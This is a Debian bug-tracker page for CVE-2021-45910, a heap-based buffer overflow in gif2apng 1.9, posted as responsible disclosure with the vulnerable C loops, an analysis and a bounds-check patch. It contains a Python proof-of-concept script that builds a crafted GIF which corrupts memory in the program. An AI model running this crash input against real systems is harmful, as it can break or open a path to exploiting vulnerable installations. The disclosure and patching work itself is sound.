Headline
CVE-2021-45910: #1002667 - gif2apng: Heap based buffer overflow in the main function
An issue was discovered in gif2apng 1.9. There is a heap-based buffer overflow within the main function. It allows an attacker to write data outside of the allocated buffer. The attacker has control over a part of the address that data is written to, control over the written data, and (to some extent) control over the amount of data that is written.
Debian Bug report logs - #1002667
gif2apng: Heap based buffer overflow in the main function
Reply or subscribe to this bug.
Toggle useless messages
Report forwarded to [email protected], Debian QA Group <[email protected]>
:
Bug#1002667
; Package gif2apng
. (Sun, 26 Dec 2021 22:48:03 GMT) (full text, mbox, link).
Acknowledgement sent to Kolja Grassmann <[email protected]>
:
New Bug report received and forwarded. Copy sent to Debian QA Group <[email protected]>
. (Sun, 26 Dec 2021 22:48:04 GMT) (full text, mbox, link).
Message #5 received at [email protected] (full text, mbox, reply):
Package: gif2apng Version: 1.9+srconly-3 Severity: important Tags: security
Dear Maintainer,
I found a heap overflow in the main function of the gif2apng application. The issue exists within the for loops in the following code from the main function in gif2apng.cpp:
if (coltype == 2)
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)\*2-1 : (j>h2/2) ? (j-h2/2)\*4-2 : (j>h2/4) ? (j-h2/4)\*8-4 : j\*8;
src = buffer + j\*w0;
dst = frame0 + ((k+y0)\*w + x0)\*3;
for (i=0; i<w0; i++, src++, dst+=3)
if (!has\_t || \*src != t)
memcpy(dst, &pal\_l\[\*src\]\[0\], 3);
}
}
else
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)\*2-1 : (j>h2/2) ? (j-h2/2)\*4-2 : (j>h2/4) ? (j-h2/4)\*8-4 : j\*8;
src = buffer + j\*w0;
dst = frame0 + (k+y0)\*w + x0;
if (shuffle)
{
for (i=0; i<w0; i++, src++, dst++)
if (!has\_t || \*src != t)
\*dst = sh\[\*src\];
}
else
{
for (i=0; i<w0; i++, src++, dst++)
if (!has\_t || \*src != t)
\*dst = \*src;
}
}
}
The variable frame0 points to a buffer of size w * h * 3 or size w * h depending on the code path. The buffer variable points to a buffer holding user controllable data from the provided gif file. The variables w0, h0, x0 and y0 are also read from the gif file provided to the program without any validation. By choosing these values in the right way it is possible to manipulate the address, that data is written to as well as the number of bytes that are copied to the destination.
I wrote the following poc script, which creates a poc.gif file:
#!/bin/python3
Writing to poc.gif
f = open("poc.gif", “wb”)
sig = b"GIF87a" w = b"\x10\x00" h = b"\x10\x00" flags_one = b"\x00" bcolor = b"\x01" aspect = b"\x01"
data = sig + w + h + flags_one + bcolor + aspect f.write(data)
id = b"\x2c" w0 = b"\xff\x00" y0 = b"\x00\x00" x0 = b"\xff\x00" h0 = b"\x02\x00" flags_two = b"\x00"
data = id + x0 + y0 + w0 + h0 + flags_two f.write(data)
DecodeLZW
mincode = b"\x07" f.write(mincode) for i in range(0,512): # Size value and byte we write to the buffer target_char = b"\x01" + b"A" f.write(target_char) # Resetting the values using “clearcode” to keep the code path as simple as possible clear_code = b"\x01" + b"\x80" f.write(clear_code)
Leaving function
target_char = b"\x00" f.write(target_char)
f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
f.close()
Executing the following on the package from the testing repository on Debian 10 lead to a memory corruption issue: user@debian:~$ gif2apng -i0 poc.gif /dev/null
gif2apng 1.9 using ZLIB
Reading 'poc.gif’… 1 frames. Writing 'poc.png’… 1 frames. double free or corruption (out) Abgebrochen
I have not looked into exploiting this bug. However as it allows us to write arbitrary data to an address outside of the intended buffer and as we have control over parts of the address as well as the data that is written, this could in my opinion be exploitable.
I did a rudimentary fix for this issue locally by doing a bounds check before entering the for loops. However I am not sure if this is the cleanest solution, as this does only adresses the buffer overflow and not the lack of sanity checks performed on the image data. It could also use some more testing.
if (coltype == 2)
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)\*2-1 : (j>h2/2) ?
(j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8; src = buffer + j*w0; dst = frame0 + ((k+y0)*w + x0)*3; if ( ( (j*w0 + w0) > buffer_size) || ( ((((k+y0)*w + x0)*3) + w0 * 3 ) > imagesize) || ((((k+y0)*w + x0)*3) < 0 ) || ( (j*w0) < 0)) { printf(“Something is wrong with the size values\n”); exit(0); } for (i=0; i<w0; i++, src++, dst+=3) if (!has_t || *src != t) memcpy(dst, &pal_l[*src][0], 3); } } else { for (j=0; j<h0; j++) { k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ? (j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8; src = buffer + j*w0; dst = frame0 + (k+y0)*w + x0; if ( ( (j*w0 + w0) > buffer_size) || ( (((k+y0)*w + x0) + w0 ) > imagesize) || ((((k+y0)*w + x0)) < 0 ) || ( (j*w0) < 0)) { printf(“Something is wrong with the size values\n”); exit(0); } if (shuffle) { for (i=0; i<w0; i++, src++, dst++) if (!has_t || *src != t) *dst = sh[*src]; } else { for (i=0; i<w0; i++, src++, dst++) if (!has_t || *src != t) *dst = *src; } } }
Best regards Kolja
– System Information: Debian Release: 10.11 APT prefers oldstable-updates APT policy: (500, ‘oldstable-updates’), (500, ‘oldstable’) Architecture: amd64 (x86_64)
Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores) Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled
Versions of packages gif2apng depends on: ii libc6 2.28-10 ii libzopfli1 1.0.2-1 ii zlib1g 1:1.2.11.dfsg-1
gif2apng recommends no packages.
Versions of packages gif2apng suggests: pn apng2gif <none>
– no debconf information
Added tag(s) upstream. Request was from Salvatore Bonaccorso <[email protected]>
to [email protected]
. (Sun, 26 Dec 2021 23:03:07 GMT) (full text, mbox, link).
Send a report that this bug log contains spam.
Debian bug tracking system administrator <[email protected]>. Last modified: Tue Dec 28 01:30:11 2021; Machine Name: buxtehude
Debian Bug tracking system
Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.
Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.